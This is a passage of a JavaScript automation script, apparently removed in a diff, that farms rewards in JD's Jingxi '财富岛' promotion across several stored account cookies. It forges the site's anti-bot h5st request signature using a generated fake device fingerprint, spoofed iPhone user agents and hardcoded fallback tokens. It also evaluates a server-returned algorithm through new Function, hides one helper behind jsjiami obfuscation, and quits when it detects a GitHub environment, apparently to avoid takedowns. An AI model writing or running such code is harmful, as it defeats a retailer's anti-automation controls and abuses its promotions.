r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛热气球"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; -$.appId = 10032; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let count = 0 - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - console.log('\n') - do { - count++ - console.log(`============开始第${count}次挂机=============`) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - $.info = {} - if (count === 1) { - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - } else { - UA = UAInfo[$.UserName] - } - // token = await getJxToken() - await cfd(); - let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 - await $.wait(time) - } - } - } while (count < (process.env.CFD_LOOP_LIMIT || 10)*1) -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - await queryshell() - } catch (e) { - $.logErr(e) - } -} - -// 卖贝壳 -async function querystorageroom() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - console.log(`\n卖贝壳`) - let bags = [] - for (let key of Object.keys(data.Data.Office)) { - let vo = data.Data.Office[key] - bags.push(vo.dwType) - bags.push(vo.dwCount) - } - if (bags.length !== 0) { - let strTypeCnt = '' - for (let j = 0; j < bags.length; j++) { - if (j % 2 === 0) { - strTypeCnt += `${bags[j]}:` - } else { - strTypeCnt += `${bags[j]}|` - } - } - await $.wait(3000) - await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) - } else { - console.log(`背包是空的,快去捡贝壳吧\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function sellgoods(body) { - return new Promise((resolve) => { - $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - if (data.iRet === 0) { - console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) - } else { - console.log(`贝壳出售失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 捡贝壳 -async function queryshell() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} queryshell API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - $.canpick = true; - for (let key of Object.keys(data.Data.NormShell)) { - let vo = data.Data.NormShell[key] - for (let j = 0; j < vo.dwNum && $.canpick; j++) { - await pickshell(`dwType=${vo.dwType}`) - await $.wait(3000) - } - if (!$.canpick) break - } - console.log('') - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -async function pickshell(body) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} pickshell API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); - let dwName - switch (data.Data.strFirstDesc) { - case '亲爱的岛主~♥七夕快乐鸭♥': - dwName = '爱心珍珠' - break - case '捡到珍珠了,看起来很贵的样子': - dwName = '小珍珠' - break - case '捡到小海螺了,做成项链一定很漂亮': - dwName = '小海螺' - break - case '把我放在耳边,就能听到大海的声音了~': - dwName = '大海螺' - break - case '只要诚心祈祷,愿望就会实现哦~': - dwName = '海星' - break - case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': - dwName = '小贝壳' - break - case '啊~我可不想被清蒸加蒜蓉': - dwName = '扇贝' - break - default: - break - } - if (data.iRet === 0) { - console.log(`捡贝壳成功:捡到了${dwName}`) - } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { - console.log(`捡贝壳失败:${data.sErrMsg}`) - await $.wait(3000) - await querystorageroom() - } else { - $.canpick = false; - console.log(`捡贝壳失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; - url += `&_stk=${getStk(url)}`; - url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; - return { - url, - headers: { - "Host": "m.jingxi.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://st.jingxi.com/", - "Cookie": cookie - } - }; -} -function getStk(url) { - let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) - return encodeURIComponent(arr.filter(x => x).sort().join(',')) -} -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete 